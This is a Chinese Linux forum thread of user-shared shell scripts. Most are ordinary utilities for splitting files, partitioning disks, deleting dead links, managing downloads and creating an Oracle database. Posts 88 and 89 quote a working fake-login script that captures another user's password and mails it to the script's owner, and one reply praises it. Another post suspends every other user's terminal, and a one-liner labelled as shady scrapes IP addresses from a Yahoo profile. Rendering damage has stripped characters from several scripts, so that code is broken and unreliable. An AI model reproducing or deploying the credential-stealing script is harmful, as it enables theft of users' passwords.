LinuxSir.Org  
| 网站首页 | 论坛帮助 |

欢迎来到LinuxSir.Org!
您还未登录,请登录后查看论坛,或者点击论坛上方的注册链接注册新账号。


发表新主题 回复
置顶的主题 精华主题  
主题工具
旧 04-01-03, 01:36 第 76 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 一个利用suspend控制终端的脚本


作者:javalee
代码:
#!/bin/ksh #这是一个能让所有字符终端挂起/恢复的脚本 #这是一个suspend这个shell内置命令的应用例子 #适用字符模式,root身份 #作者:javalee #控制终端有很多方式,欢迎指教 # #脚本开始 ###找出自己的终端名 owntty=$(tty) ###找出所有登录终端PID pid=$(ps -e|awk '/tty[0-9]/&&/[ba|k]sh/'|grep -v "$owntty"|awk '{print $1}') ###必要信息提示 (($#!=1))&&{ echo "Usage:$(basename $0) [k|r]\nk:send HUP \ signal to all tty\nr:send CONT signal to all tty";exit 1; } ###检查命令行参数 case $1 in k) echo "all tty STOP..." for i in $pid;do ###挂起登录终端正在执行的shell,不要把自己也"挂"啦 :) (suspend $i)&&kill -18 $$ >/dev/null 2>&1 done ;; r) echo "all tty RESTART..." for i in $pid;do ###恢复 kill -18 $i >/dev/null 2>&1 done ;; esac # # #脚本结束
  KornLee 当前离线   回复时引用此帖
旧 04-01-18, 22:20 第 77 帖
devel
 
devel 的头像
 
 
已封禁  
  注册日期: Sep 2003
  我的住址: 自由的世界 !
  帖子: 1,472
  精华: 6
 

找文件中某个KEY的脚本,版本2
代码:
#!/bin/bash #A bash script to find a keyword. Name: findkey Version : 2.0 Author: devel echo -n " ";pwd;date#空一格,显示当前路径和日期 while true;do#循环 echo "Input a directory or file : # will exit if press e|E !" echo -n " ";read dir ; until [ $dir ] ;do read dir ;done#空出一格,从标准输入读取字符知道不为空 case $dir in e|E) echo done ;exit 0 ;; *) if [ -e $dir ];then#-e是检查文件是否存在 echo "Input keyword: # will exit if press e|E ! # Will reread a directory or file if you press r|R !" echo -n " "; read "key" ; until [ $key ] ;do read key ;done case $key in e|E) echo done ;exit 0 ;; r|R) continue ;;#要求重新从标准输入读取路径 *) grep -R "$key" $dir|cat -n 2>/dev/null|less ;;#找出文件并排序 esac else echo "The directory or file did not exist " fi ;; esac done


非常好用,我很喜欢它!!

此帖于 04-01-19 11:31 被 devel 编辑.
  devel 当前离线   回复时引用此帖
旧 04-01-30, 14:10 第 78 帖
ch4ron
 
 
 
注册会员  
  注册日期: Mar 2003
  帖子: 3
  精华: 1
 

介绍一个脚本
作者:icyblue

标题: 初学bash(icyblue)



今天要分割一个文件, 以前在windows下有个filesplit的小东东

linux也有个split可以做, 可惜知道得晚了一步:(

想想用dd好像也容易实现, 就一边info bash自力更生了一个split



--------------begin-----------------



#!/bin/bash



if [ $# -ne 2 ]; then

echo 'Usage: split file size(in bytes)'

exit

fi



file=$1

size=$2



if [ ! -f $file ]; then

echo "$file doesn't exist"

exit

fi



#TODO: test if $size is a valid integer



filesize=`/bin/ls -l $file | awk '{print $5}'`

echo filesize: $filesize



let pieces=$filesize/$size

let remain=$filesize-$pieces*$size

if [ $remain -gt 0 ]; then

let pieces=$pieces+1

fi

echo pieces: $pieces



i=0

while [ $i -lt $pieces ];

do

echo split: $file.$i:

dd if=$file of=$file.$i bs=$size count=1 skip=$i

let i=$i+1

done



echo "#!/bin/bash" > merge



echo "i=0" >> merge

echo "while [ \$i -lt $pieces ];" >> merge

echo "do" >> merge

echo " echo merge: $file.\$i" >> merge

echo " if [ ! -f $file.\$i ]; then" >> merge

echo " echo merge: $file.\$i missed" >> merge

echo " rm -f $file.merged" >> merge

echo " exit" >> merge

echo " fi" >> merge

echo " dd if=$file.\$i of=$file.merged bs=$size count=1 seek=\$i" >> merge

echo " let i=\$i+1" >> merge

echo "done" >> merge

chmod u+x merge



-----------end---------------
  ch4ron 当前离线   回复时引用此帖
旧 04-02-17, 18:48 第 79 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 一个自动分区脚本


感谢作者:home_king兄
part_it:
PHP 代码:

#!/bin/sh
# Create partitions(logical for slave hard disk automatically.
# WARNNING!!!
# Your hard disk must be empty initially,
# OTHERWISE this script does not process!
#
# Written by home_king <home_king@163.com>
#
                                                                                
# Check parted
if [ "$(whereis parted | awk '{print $2}')" "" ]; then
        
echo "Parted is not installed!"
        
exit 1
fi
# Create partition
if [ -"$1" ]; then
        bdev
=$1
        
if [ -"$(parted -s $bdev print |grep ^1)" ]; then
                
echo 'Your hard disk must be not partitioned yet!!!'
                
exit 1
        fi
        tmpvar
=$(parted -$print |grep "Disk geometry" |awk '{print $5}')
        
edge=${tmpvar##*-}
        
iedge=${edge%%.*}
        
# Create refer to config_file
        
if [ -"$2" ] && [ -$]; then
                config_file
=$2
                rm 
-f tmpfile
                cat $config_file 
|grep ^[1-9] > tmpfile
                startM
=0
                lastflag
=0
                
while read size parttype fs; do
                        if [ $((
size-0)) -eq 0 ] || [ $size -le 0 ]; then
                                
echo 'Invalid "size" format!!!'
                                
exit 1
                        fi
                        
case $parttype in
                                l
parttype="logical";;
                                
pparttype="primary";;
                                *) echo 
'Invalid part type!!![logical|primary]'
                                   
exit 1;;
                        
esac
                        
case $fs in
                                ext2
fs="ext2";;
                                *) echo 
'Invalid filesystem!!![Now just support ext2]'
                                   
exit 1;;
                        
esac
                        endM
=$(($size+$startM))
                        if [ 
$endM -gt $iedge ]; then
                                lastflag
=1
                                endM
=$edge
                        fi
                        parted 
-s $bdev mkpartfs $parttype $fs $startM $endM
                        
$lastflag -eq 1 ] && exit 0
                        startM
=$endM
                done 
tmpfile
        
# Auto mode
        
else
                
flag=""
                
until "$flag" "y" ] || [ "$flag" "n" ]; do
                        
read -'WRNNING!!!NO CONFIG!!!Auto mode?[y/n]' flag
                done
                
"$flag" "n" ] && echo "exit" && exit 1
                avrsize
=$(($iedge/4))
                
startM=0
                i
=1
                until 
$i -gt 3 ]; do
                        
endM=$(($avrsize*$i))
                        
parted -/dev/hda mkpartfs logical ext2 $startM $endM
                        startM
=$endM
                        i
=$((i+1))
                
done
                parted 
-/dev/hda mkpartfs logical ext2 $startM $edge
                
echo "All done!!!"
                
echo
                
parted -/dev/hda print
        
fi
else
        echo 
"You must input device to process!"
        
exit 1
fi 
用法是
chmod +x part_it
./part_it /dev/hdX config-file
其中/dev/hdX是你的从盘,如X是b;
config-file是分区配置文件,格式如下

#size parttype fs
6000 l ext2
2000 l ext2
8000 l ext2

第一列是分区大小,第二列是分区类型(logical,缩写l,代表逻辑分区),第三列是文件系统,.三列用TAB键分开!!!
由于不知道你的具体要求是什么,只好仅仅支持逻辑分区以及ext2,兄弟最好在这个基础上自己修改一下脚本.
另外,脚本会自动判别你是否已分区,配置文件中总的size是否超出硬盘容量等等.
仅提供参考,后果自负!!!
  KornLee 当前离线   回复时引用此帖
旧 04-02-17, 18:52 第 80 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 一个删除无效链接的脚本


感谢作者:home_king兄
说明
1.专家模式(删除前免提示),且进入专家模式前作出提示
2.仅作用于一层目录的功能选项
3.该脚本利用find的目录递归功能删除系统上无效(目标文件不存在)的软链接
PHP 代码:
 #!/bin/sh
# When lpath is /, it can delete all null links existing in your system INTERACTIVELY!!!
#
# Written by home_king<home_king@163.com>
#
                                                                                
prompthelp()
{
        echo ========================================
        echo 
'Delete symbolic links with null target.'
        
echo 'usage:dellink [-e] [-o] [PATH]'
        
echo '  -f:EXPERT mode,no prompt.WARNNING!!!'
        
echo '  -c:Just apply to current directory.'
        
echo '  -h:Print this help.'
        
echo '  Without PATH, we set it ".".'
        
echo ========================================
}
delflag=""
promptdel()
{
        
read -'WARNNING!!!Without PROMPT!!!Continue?[y/n]' delflag
        
case $delflag in
                y 
) return 0;;
                
) exit 1;;
                * ) 
promptdel
        esac
}
while 
getopts ":fch" opt; do
        case 
$opt in
                f  
INTERACTIVE="f"
                     
promptdel;;
                
c  DEPTH="maxdepth 1";;
                
h  prompthelp
                     
exit 0;;
                ? ) echo 
"Invalid Option!"
                     
prompthelp
                     
exit 1
        esac
done
shift 
$(($OPTIND 1))
lpath=$1
[ $# -gt 1 ] && prompthelp && exit 1
if [ -$]; then
        linklist
=$(find $-${DEPTH:-"depth"} -type l |xargs)
        for 
i in $linklist; do
                [ ! -
f $i ] && rm -${INTERACTIVE:-"i"$i
        done
else
        echo 
"PATH is not a directory!"
        
prompthelp
fi 

此帖于 04-05-06 13:33 被 home_king 编辑.
  KornLee 当前离线   回复时引用此帖
旧 04-03-13, 16:33 第 81 帖
minus273
 
minus273 的头像
 
 
初初初级会员  
  注册日期: Nov 2002
  我的住址: 天府之国四川 德阳
  帖子: 1,395
  精华: 7
 

标题: 两个single line script


看本本电池:
代码:
dialog --infobox "battery:`sed 's/.*\(..\)\%.*/\1/' </proc/apm`%" 3 17
不法勾当:
代码:
curl http://profiles.yahoo.com/beijing13579 2>/dev/null|sed -n 's/.*\"\(https:\/\/[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\)\".*/\1/p'







__________________
“不知道,反正是平白无故就进来了。”
“不可能!平白无故——那都只判十年!”
-- Aleksandr Solženicyn
minus273 est novo Sandy.
Slackware碟子搞丢了,液氦倒了……
Homepage: www.minus273.eu
要不了多久,就该用了十年linux了。
  minus273 当前离线   回复时引用此帖
旧 04-04-08, 23:09 第 82 帖
home_king
 
home_king 的头像
 
 
临时退役版主  
  注册日期: Mar 2003
  帖子: 2,759
  精华: 15
 

标题: 一个Bash的综合教学实例[协同程序, eval, awk关联数组]


作者:home_king
实现把文件并行拷贝到多个路径下的功能。
知识点:
1. 使用了"协同程序",是拷贝进程并行化
2. 使用eval来实现变量的"间接扩充"
3. 使用awk的关联数组来剔除"文件当前路径"以及"重复路径",以避免拷贝并行化可能引起的"系统颠簸"甚至"拷贝错误"
4. 使用了stat获取目录inode,以判定路径的唯一性(不同的路径名可能指向同一个物理路径,如~, /root, /root/Desktop/../,又如~user, /home/user)
代码:
#!/bin/sh # # mcp---Multiple copy with Co-Process # checkargs(){ if [ $# -eq 0 ];then echo 'No arguments supplied!' return 1 fi cpfile=$1 if [ ! -f $cpfile ]; then echo 'Invaild file to copy!' return 1 fi shift for tmparg in "$@"; do if [ ! -d $tmparg ];then echo "There's at least one invalid directory" return 1 fi done argnums=($(echo $(stat -Lc %i $@) | awk -v inum=$(stat -c %i $PWD) '{for(i=1;i<=NF;i++){if($i == inum)continue;ldirs[$i]=i}} END{for(item in ldirs){print ldirs[item]}}')) } checkargs $@ [ $? -eq 0 ] || exit 1 shift echo "Destination:" for arg in "${argnums[@]}"; do eval echo '$'$arg eval cp -f $cpfile '$'$arg & done wait echo "" echo 'All done!'
就这个例子,我们来对比一下并行化与非并行化的效率:
该脚本:
代码:
[root@home root]# time ./mcp-1.0 perl1 /tmp ~home_king /home/home_king/ ~ /root Destination: /home/home_king/ /tmp All done! real 0m0.110s user 0m0.010s sys 0m0.050s
该脚本的普通拷贝(非并行化)版本(去除&以及wait):
代码:
[root@home root]# time ./scp perl1 /tmp ~home_king /home/home_king/ ~ /root Destination: /home/home_king/ /tmp All done! real 0m0.099s user 0m0.010s sys 0m0.040s
可见,在单CPU的机器上,"协同程序"带来的效率提升较小,甚至会降低原有的效率!

引用《Learning the Bash shell》的一段话来结尾:

粗略地说,可以以三种方式总结一个进程使用系统资源地特性:是否为CPU密集型的(即进行频繁的CPU计算),I/O密集型的(进行频繁的写磁盘操作)或交互式的(需要用户交互)。
--------quote-START----------
对两个或多个不同种类的进程,进程越多同时运行它们就越有好处。例如,在和一个长的,I/O操作频繁的数据库查询同时运行时,一个数值统计计算的作业会很有效率。
另一方面,如果两个进程以类似方式使用资源,则同时运行它们比按次序运行它们效率差一些。原因是在该条件下,操作系统经常需要按时间片抢夺资源。
例如,如果两个进程都进行频繁的磁盘操作,操作系统会进入一个模式,在两个竞争的进程之间会不断地来回切换对磁盘的控制权。系统进行切换操作的时间至少会和它处理进程本身操作的时间一样长。该现象称为系统颠簸(thrashing),最严重时,会使系统处于一个虚拟停顿状态。系统颠簸是一个常见问题,系统管理员和操作系统设计者会花费很多时间试图使其最小化。
---------quote-END-----------







__________________
IBOX, a LiveCD distribution based on Gentoo, is fit for newbie.

IBOX brings to you:
- knoppix-style harddisk installation tool, by which you can install Gentoo in 20 minutes.
- hardware auto-configuration. You can run into X desktop directly.
- all-round software set, including OpenOffice, azureus.
- LiveCD-create-tools. Step-by-step, custom a LiveCD yourself with ease.

Any questions and feedbacks is welcome to home_king at 163 dot com

此帖于 04-04-09 22:02 被 home_king 编辑.
  home_king 当前离线   回复时引用此帖
旧 04-05-10, 00:42 第 83 帖
cobranail
 
cobranail 的头像
 
 
注册会员  
  注册日期: Aug 2003
  帖子: 2,598
  精华: 0
 

标题: 一个X下用来确认关机的脚本


作者:cobranail
用于对小型的wm比如twm,5dwm等关机确认
用到了xconfirm程序

源码:
=========================================
#!/bin/csh -f
xconfirm -B ok -B Resume -t 'Power OFF!'>&/var/tmp/XCONFIRMS
set XCONFIRMS = `cat /var/tmp/XCONFIRMS |egrep Continue `
switch ("$XCONFIRMS")
case Continue:
rm /var/tmp/XCONFIRMS
exec "poweroff"
breaksw
case Resume:
rm /var/tmp/XCONFIRMS
breaksw
default:
breaksw
endsw
========================================
  cobranail 当前离线   回复时引用此帖
旧 04-05-18, 18:46 第 84 帖
home_king
 
home_king 的头像
 
 
临时退役版主  
  注册日期: Mar 2003
  帖子: 2,759
  精华: 15
 

wget下载管理脚本
作者:home_king

用法:
wgetscript list #list是下载列表

功能(特色):
1.利用了wget的断点续传功能
由于下载过程中,可能由于某种原因而中断下载过程,例如碰到一个死链接,下载了部分就停止了响应,这时候按Ctrl+C退出,wget会自动生成文件而忽略文件的完整性。
2.消除中断后续载的重复冗余项
比如说*.wget中出现了一个死链接而没有下载该源码包,修正*.wget的内容后,再运行脚本,将只下载上次没有成功下载的源码包,而无须重新下载所有源码包,如果下载内容很多的话,该脚本的方便性就体现出来了;再比如说,如果要多下载一个补丁,把该url添加到*.wget后,再运行脚本,则只下载新添加的补丁;如果没有所有源码包都已下载,该脚本无动作。
3.在下载完毕后,会列出那些出现死链接的源码包以便修正
代码:
# Wget Script with history-logged feature. # Written by home_king <home_king@163.com> wget_list=$1 if [ -n "$wget_list" ] && [ -e "$wget_list" ];then rm -f Error.log for i in `grep -E '^*tp://' "$wget_list"`; do if [ -n $i ] && [ ! -e ${i##*/} ] || [ -e "${i##*/}.part" ]; then wget -c $i -O "${i##*/}.part" && \ mv "${i##*/}.part" ${i##*/} [ $? -gt 0 ] && echo "${i##*/}" >> Error.log fi done [ -e Error.log ] && \ echo "Unable to download below packages with wrong urls:" && \ cat Error.log && \ echo "Also see Error.log in detail." fi

此帖于 04-05-23 20:39 被 home_king 编辑.
  home_king 当前离线   回复时引用此帖
旧 04-05-29, 19:41 第 85 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 创建数据库的UNIX SHELL 脚本 [转]


脚本一:newapp1.sh
代码:
#!/bin/sh ORACLE_SID=app1 export ORACLE_SID /opt/oracle/product/8.1.7/bin/svrmgrl << EOF spool /opt/oracle/product/8.1.7/install/crdb1.log connect internal startup nomount pfile = /www1/oradata/admin/newapp1/pfile/initapp1.ora CREATE DATABASE "app1" controlfile reuse maxdatafiles 500 maxinstances 8 maxlogfiles 32 character set ZHS16GBK national character set ZHS16GBK DATAFILE '/oradata/app1/system01.dbf' SIZE 200M logfile group 1 ('/opt/oracle/oradata/app1/app1_redo01.log', '/oradata/app1/app1_redo01.log') SIZE 20M, group 2 ('/opt/oracle/oradata/app1/app1_redo02.log', '/oradata/app1/app1_redo02.log') SIZE 20M, group 3 ('/opt/oracle/oradata/app1/app1_redo03.log', '/oradata/app1/app1_redo03.log') SIZE 20M; disconnect spool off exit EOF
脚本二:newapp2.sh
代码:
#!/bin/sh ORACLE_SID=app1 export ORACLE_SID /opt/oracle/product/8.1.7/bin/svrmgrl << EOF spool /opt/oracle/product/8.1.7/install/crdb2.log connect internal @/opt/oracle/product/8.1.7/rdbms/admin/catalog.sql; CREATE ROLLBACK SEGMENT r0 TABLESPACE SYSTEM STORAGE (INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS 20); ALTER ROLLBACK SEGMENT r0 ONLINE; REM ************ TABLESPACE FOR OEM_REPOSITORY *************** CREATE TABLESPACE OEM_REPOSITORY DATAFILE '/oradata/app1/oemrep01.dbf' SIZE 5M REUSE AUTOEXTEND ON NEXT 25M MAXSIZE 80M MINIMUM EXTENT 128k DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 1 MAXEXTENTS UNLIMITED PCTINCREASE 0); REM ************** TABLESPACE FOR ROLLBACK ***************** CREATE TABLESPACE RBS DATAFILE '/oradata/app1/rbs01.dbf' SIZE 200M REUSE DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED PCTINCREASE 0); REM ************** TABLESPACE FOR TEMPORARY ***************** CREATE TABLESPACE TEMP DATAFILE '/oradata/app1/temp01.dbf' SIZE 200M REUSE DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED PCTINCREASE 0) TEMPORARY; REM ************** TABLESPACE FOR USER ********************* CREATE TABLESPACE USERS DATAFILE '/oradata/app1/users01.dbf' SIZE 50M REUSE DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 1 MAXEXTENTS UNLIMITED PCTINCREASE 0); REM ************** TABLESPACE FOR INDEX ********************* CREATE TABLESPACE INDX DATAFILE '/oradata/app1/indx01.dbf' SIZE 50M REUSE DEFAULT STORAGE ( INITIAL 128k NEXT 128k MINEXTENTS 1 MAXEXTENTS UNLIMITED PCTINCREASE 0); REM **** Creating four rollback segments ****************add rollback segment to 20*** CREATE ROLLBACK SEGMENT r01 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r02 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r03 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r04 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r05 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r06 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r07 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r08 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r09 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r10 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r11 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r12 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r13 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r14 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r15 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r16 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r17 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r18 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r19 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); CREATE ROLLBACK SEGMENT r20 TABLESPACE RBS STORAGE(INITIAL 128k NEXT 128k MINEXTENTS 2 MAXEXTENTS UNLIMITED optimal 4096K); ALTER ROLLBACK SEGMENT r01 ONLINE; ALTER ROLLBACK SEGMENT r02 ONLINE; ALTER ROLLBACK SEGMENT r03 ONLINE; ALTER ROLLBACK SEGMENT r04 ONLINE; ALTER ROLLBACK SEGMENT r05 ONLINE; ALTER ROLLBACK SEGMENT r06 ONLINE; ALTER ROLLBACK SEGMENT r07 ONLINE; ALTER ROLLBACK SEGMENT r08 ONLINE; ALTER ROLLBACK SEGMENT r09 ONLINE; ALTER ROLLBACK SEGMENT r10 ONLINE; ALTER ROLLBACK SEGMENT r11 ONLINE; ALTER ROLLBACK SEGMENT r12 ONLINE; ALTER ROLLBACK SEGMENT r13 ONLINE; ALTER ROLLBACK SEGMENT r14 ONLINE; ALTER ROLLBACK SEGMENT r15 ONLINE; ALTER ROLLBACK SEGMENT r16 ONLINE; ALTER ROLLBACK SEGMENT r17 ONLINE; ALTER ROLLBACK SEGMENT r18 ONLINE; ALTER ROLLBACK SEGMENT r19 ONLINE; ALTER ROLLBACK SEGMENT r20 ONLINE; ALTER ROLLBACK SEGMENT r0 OFFLINE; REM **** SYS and SYSTEM users **************** alter user sys temporary tablespace TEMP; alter user system temporary tablespace TEMP; disconnect spool off exit EOF
脚本三:newapp3.sh
[code]

#!/bin/sh
ORACLE_SID=app1
export ORACLE_SID

/opt/oracle/product/8.1.7/bin/svrmgrl << EOF
spool /opt/oracle/product/8.1.7/install/crdb3.log
connect internal
@/opt/oracle/product/8.1.7/rdbms/admin/catproc.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/caths.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/otrcsvr.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/catexp.sql;

@/opt/oracle/product/8.1.7/rdbms/admin/catdbsyn.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/catdefer.sql;

@/opt/oracle/product/8.1.7/rdbms/admin/catrep.sql;

@/opt/oracle/product/8.1.7/rdbms/admin/dbmspool.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/catparr.sql;
@/opt/oracle/product/8.1.7/rdbms/admin/catblock.sql;

connect system/manager
@/opt/oracle/product/8.1.7/sqlplus/admin/pupbld.sql;

--create the product_profile and user_profile

--CATALOG.SQL, ---加载数据库本身的数据字典视图
--CATPROC.SQL, ---加载PL/SQL使用的PACKAGE
--CATEXP.SQL ---加载EXPORT/IMPORT工具使用的数据字典

disconnect
spool off
exit

EOF


转自: http://www.dbonline.cn/source/oracl...%20database.htm
  KornLee 当前离线   回复时引用此帖
旧 04-06-12, 00:55 第 86 帖
KornLee
 
 
 
★☆★☆★☆★  
  注册日期: Nov 2002
  我的住址: LinuxWorld
  帖子: 6,960
  精华: 61
 

标题: 让你用ping时显示结果象cisco中一样,并在丢包时报警!


特别感谢作者: gao_linfeng兄
PHP 代码:
#!/bin/bash
n=1
while ((n<=$2)) ; do
ping -c 1  $>/dev/null
case $? in
0
) echo -'!' ;;
1) echo -'.' && echo -ne "\a" ;;
*) exit ;;
esac
((n+=1))
done
echo 
将上面的脚本存成文件,比如保存名为pingg的文件中,并给于执行权限,那么我们可以打pingg www.163.com 10 这样大家可以看看执行结果,但要记住必须是这样的格式,当你ping丢包时他还可以报警。

例 如 pingg www.yahoo.com 20
!!!!!!!!.!!!!!!!!!.!
  KornLee 当前离线   回复时引用此帖
旧 04-06-16, 01:30 第 87 帖
molucule 帅哥
 
molucule 的头像
 
 
注册会员  
  注册日期: Jul 2003
  我的住址: NJ
  帖子: 1,371
  精华: 0
 

标题: 一个批量更改文件后缀名的shell


看到前面有一个类似功能的shell,只是觉得有些长,这个是我从Gaussian的说明书中看到的,大致更改了一下。
#! /bin/tcsh
foreach name(*.jpeg)
mv $name $name:r.jpg
echo $name " --> " $name:r.jpg
end







__________________
T43 Etch 2.6.30-1
  molucule 当前离线   回复时引用此帖
旧 04-06-16, 15:48 第 88 帖
macleo
 
macleo 的头像
 
 
注册会员  
  注册日期: May 2003
  帖子: 188
  精华: 0
 

标题: 回复: 一个盗取别人passwd的shell脚本


引用:
最初由 javalee 发表
特别感谢作者:ghostwalker兄
代码:
#! /bin/sh clear cat /etc/issue echo -n "login: " read login echo -n "Password: " stty -echo read passwd stty sane mail $USER <<- fin login: $login passwd: $passwd fin echo "Login incorrect" sleep 1 logout

真他老老的狡猾的!哈哈!

谁写的啊?真聪明啊!







__________________
/**
王侯将相,宁有种乎?
*/
  macleo 当前离线   回复时引用此帖
旧 04-07-07, 19:29 第 89 帖
kpjmlql
 
kpjmlql 的头像
 
 
注册会员  
  注册日期: Sep 2002
  我的住址: GDGZ
  帖子: 312
  精华: 3
 

标题: 回复: 一个盗取别人passwd的shell脚本


引用:
最初由 KornLee 发表
特别感谢作者:ghostwalker兄
代码:
#! /bin/sh clear cat /etc/issue echo -n "login: " read login echo -n "Password: " stty -echo read passwd stty sane mail $USER <<- fin login: $login passwd: $passwd fin echo "Login incorrect" sleep 1 logout
请问这段代码具体有何用??怎样盗用密码??请高手解释一下,谢谢。







__________________
用爱心温暖地球,用双手创造人生!

红旗6.0桌面版 SP1

有志者,事竟成,破釜沉舟,百二秦关终属楚;
苦心人,天不负,卧薪尝胆,三千越甲可吞吴。
  kpjmlql 当前离线   回复时引用此帖
旧 04-07-18, 17:02 第 90 帖
aaccdd
 
aaccdd 的头像
 
 
退役版主  
  注册日期: Aug 2003
  帖子: 3,346
  精华: 16
 

一个使用MPlayer播放/下载BBN在线电影的脚本;播放分128k/300k/clips,
播放比率输入750k下载,下载保存在~/Mydownload/;如果不当时下载,地址保存到~/Mydownload/download.list;播放过程中按q,退出播放,继续下一个地址,
Ctrl+C退出。

代码:
#!/bin/sh # 这个脚本用来播放北京宽带网视频花园的在线电影 # 方法很菜,但是我还是很有成就感的 ^_^ # 请高手不吝赐教! play_clips() { wget $page_addr -O temp_file grep clips temp_file|tr '"' '\n'|grep clips|awk -F"'" '{print $2}'|awk \ 'BEGIN{bbn="http://media.bbn.com.cn/zxyy/"}{print bbn""$0}'>temp_file2; \ rm temp_file wget `cat temp_file2` -O temp_file3;rm temp_file2 cat temp_file3|grep SRC|tr '"' '\n'|grep http>temp_file4;rm temp_file3 wget `cat temp_file4` -O temp_file5;rm temp_file4 cat temp_file5|grep http if [ $? = 0 ] then cat temp_file5|tr '"' '\n'|grep http>clips_list;rm temp_file5 mplayer -playlist clips_list;rm clips_list else cat temp_file5|tr '"' '\n'|grep rtsp>clips_list;rm temp_file5 mplayer -playlist clips_list;rm clips_list fi } echo "===================================================" echo " 使用此脚本下载/播放北京宽带网在线电影" echo " 方法:找到在线电影的介绍页面,将该页的的地址复制" echo " 粘贴到下面的输入位置,按回车即可" echo " 使用前提:" echo " 1,使用北京通信公司的adsl上网" echo " 2,系统里安装了MPlayer" echo " 通过此脚本,你可以:" echo " 1,在线播放电影" echo " 选择播放比率,选项1:128k/2:300k/3:clips" echo " 2,下载/获得下载地址,仅限BBN用户" echo "===================================================" trap "echo You are quitting now!;exit" 2 while true do echo echo " 输入播放页面地址: " read page_addr echo echo " 输入播放选项:128k 300k 750k clips" read rate echo case $rate in 128k) rate=128k;; 300k) rate=300k;; 750k) rate=750k;; clips) play_clips;; *) echo "Invalid rate!";continue;; esac wget $page_addr -O temp_file1 grep "play_rate" ./temp_file1|grep "$rate"|tr '"' '\n'|grep "play_rate=$rate"| \ cut -d "(" -f2 |sed 's/\(..$\)//'|sed 's/\(^.\)//'>temp_file2;rm temp_file1 if [ $rate = 750k ] then link_addr1="http://media.bbn.com.cn/zxyy/`cat temp_file2`";rm temp_file2 else link_addr1="http://media.bbn.com.cn`cat temp_file2`";rm temp_file2 fi wget $link_addr1 -O link_addr2;unset link_addr1 if [ $rate = 750k ] then cat link_addr2|grep "ftp"|tr '"' '\n'|grep "ftp" > link_addr3;rm link_addr2 echo "Do you want to download now?" read action case $action in [Yy]) echo "Download Now!";wget `cat link_addr3` -O /mnt/WinE/download_film && rm link_addr3;; [Nn]) echo "Download Later!";cat link_addr3;rm link_addr3;continue;; esac else cat link_addr2|grep "SRC" > link_addr3;rm link_addr2 wget `cat link_addr3|tr '"' '\n'|grep ^http` -O link_addr4;rm link_addr3 cat 